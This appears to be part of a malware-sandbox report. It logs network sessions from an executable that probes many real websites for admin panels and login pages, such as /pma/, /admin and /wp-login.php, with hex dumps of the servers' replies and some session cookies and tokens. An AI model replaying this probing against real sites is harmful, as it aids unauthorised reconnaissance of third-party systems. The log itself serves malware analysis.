2023-11-26 05:59:43 UTC	426	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 65 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 70 72 61 67 6d 61 3a 20 Data Ascii: HTTP/1.1 301 Moved Permanentlydate: Sun, 26 Nov 2023 05:59:43 GMTcontent-type: text/html; charset=utf-8content-length: 0expires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0pragma:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.4	49694	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	158	OUT	GET / HTTP/1.1 Host: rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	184	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rech.com/
2023-11-26 05:59:43 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.4	49868	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	164	OUT	GET /pma/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	618	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 70 6d 61 2f 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 2d 37 63 39 63 34 34 36 63 38 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/pma/Server: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a-7c9c446c8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.4	49681	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	171	OUT	GET /en/admin HTTP/1.1 Host: www.dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	922	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 33 2e 36 33 31 31 30 33 35 34 32 35 34 30 32 36 31 32 38 35 36 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 6d 61 78 2d 61 67 65 3d 30 2c 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 53 65 72 76 65 72 3a Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978383.6311035425402612856Cache-Control: public,max-age=0,must-revalidateServer:
2023-11-26 05:59:43 UTC	1252	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-11-26 05:59:43 UTC	1252	IN	Data Raw: 5d 2d 2d 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 61 6e 67 75 6c 61 72 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e Data Ascii: ]--><script src="//static.parastorage.com/services/third-party/angularjs/1.2.28/angular.min.js"></script> ... --><script src="//static.parastorage.com/services/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.
2023-11-26 05:59:43 UTC	361	IN	Data Raw: 2d 62 72 6f 77 73 65 72 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 68 65 61 64 65 72 22 3e 45 72 72 6f 72 20 34 30 34 2d 4e 6f 74 42 72 61 6e 64 65 64 20 6f 63 63 75 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 Data Ascii: -browser-wrapper"> <h1 class="non-angular-supported-browser-header">Error 404-NotBranded occurred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your brows

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.4	50014	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	172	OUT	GET /admin HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:43 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:43 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.4	50134	34.208.26.152	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	170	OUT	GET /pma/ HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	411	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 37 2e 34 2e 31 35 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 6d 69 63 72 6f 2d 64 65 73 69 67 6e 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheX-Powered-By: PHP/7.4.15Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://micro-design.com/wp-json/>; rel="https://api
2023-11-26 05:59:44 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:44 UTC	8192	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><meta name='robots' content='noindex, follow' /><script>win
2023-11-26 05:59:44 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:44 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:44 UTC	8192	IN	Data Raw: 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 32 32 32 32 32 32 32 32 32 32 32 32 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 36 36 36 36 36 36 36 36 36 36 36 37 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 38 38 38 38 38 38 38 38 38 38 38 39 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 Data Ascii: ntent h1{font-size:40px;font-size:2.2222222222222rem;line-height:1.4em;}h2,.entry-content h2{font-size:30px;font-size:1.6666666666667rem;line-height:1.25em;}h3,.entry-content h3{font-size:25px;font-size:1.3888888888889rem;line-height:1.2em;}h4,.entry-cont
2023-11-26 05:59:44 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:44 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:44 UTC	8192	IN	Data Raw: 2e 35 65 6d 20 31 2e 35 65 6d 3b 6d 61 72 67 69 6e 3a 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 63 61 72 74 5f 69 74 65 6d 2e 65 64 64 5f 63 68 65 63 6b 6f 75 74 20 7b 70 61 64 64 69 6e 67 3a 20 31 65 6d 20 31 2e 35 65 6d 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 20 3e 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 Data Ascii: .5em 1.5em;margin: 0;text-align: center;}.astra-cart-drawer .astra-cart-drawer-content .cart_item.edd_checkout {padding: 1em 1.5em 0;text-align: center;margin-top: 0;}.astra-cart-drawer .widget_shopping_cart_content > .woocommerce-mini-cart__empty-message
2023-11-26 05:59:44 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.4	49452	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: www.knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	1099	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6a 46 56 51 55 6c 4f 55 30 4a 4e 4f 45 6b 76 55 44 42 45 4b 79 74 55 52 6b 4e 35 56 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 6c 6c 43 4e 47 6b 34 57 48 46 32 61 54 6c 6f 55 6a 4a 70 5a 48 42 6d 53 7a 5a 48 55 30 52 5a 4d 57 52 48 59 6d 59 31 65 45 64 57 64 31 41 78 52 46 6c 56 5a 54 64 35 52 56 70 6a 54 58 45 34 62 45 39 50 52 6b 74 72 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:44 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6IjFVQUlOU0JNOEkvUDBEKytURkN5V0E9PSIsInZhbHVlIjoiUllCNGk4WHF2aTloUjJpZHBmSzZHU0RZMWRHYmY1eEdWd1AxRFlVZTd5RVpjTXE4bE9PRktr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.4	49815	159.203.32.4	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	173	OUT	GET /admin HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	176	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 32 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 3029Connection: closeContent-Type: text/html; charset=UTF-8
2023-11-26 05:59:43 UTC	3029	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e Data Ascii: <!DOCTYPE html><html><meta content="IE=edge" http-equiv="X-UA-Compatible"> <meta charset="utf-8"/> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" name="viewport"> <meta con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.4	49427	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	960	OUT	GET /login/?page=%2Fadministrator%2Findex.php HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJRb9owFIXf%2BRVV3uM4CaGJBUisrC0SA1TYHvYyXeybYsmxU9tpx79fiLd1mzTu4%2FE9n8498tRBo1q26PxJP%2BFLh86Pbvr53ijt2PA4izqrmQEnHdPQoGOes%2F3i05plhLLWGm%2B4UdE%2FtusucA6tl0YH22o5i7abj%2Bvtw2rzbZJCxbEu6FHc5hWnNE2xHFdlWRcgUBR5QUHkcBusX9C6njOLemw0CjTnOlxp50H7XqdZHqdpnE0OtGBFxfLya7Au%2B2OlBj%2FYT963jiWJMs9Sk0Zya5ypvdFKaiTcNAkv63FeFRjXMMZ4nFaTGMSxio%2BQcZFxoFVNk8vpWcDvfjbzQWoh9fP1Qo5hybHHw2EX77b7Q4AsfhV1Z7TrGrR7tK%2BS4%2Ben9Xvm5kw4qFewZ%2FKiBEHREeiGKAkPNtKe2mg%2BEKcXnQ0d2flVwjT5c%2FXd3LJNn3%2B13Bkl%2BXnQL3NvbAP%2B%2F2emJB0UKeJ6WGWddi1yWUsU0W%2FMQinzdmcRPM4ibzuMbpL5KGT5%2B6POfwA%3D&RelayState=%2Fadministrator%2F
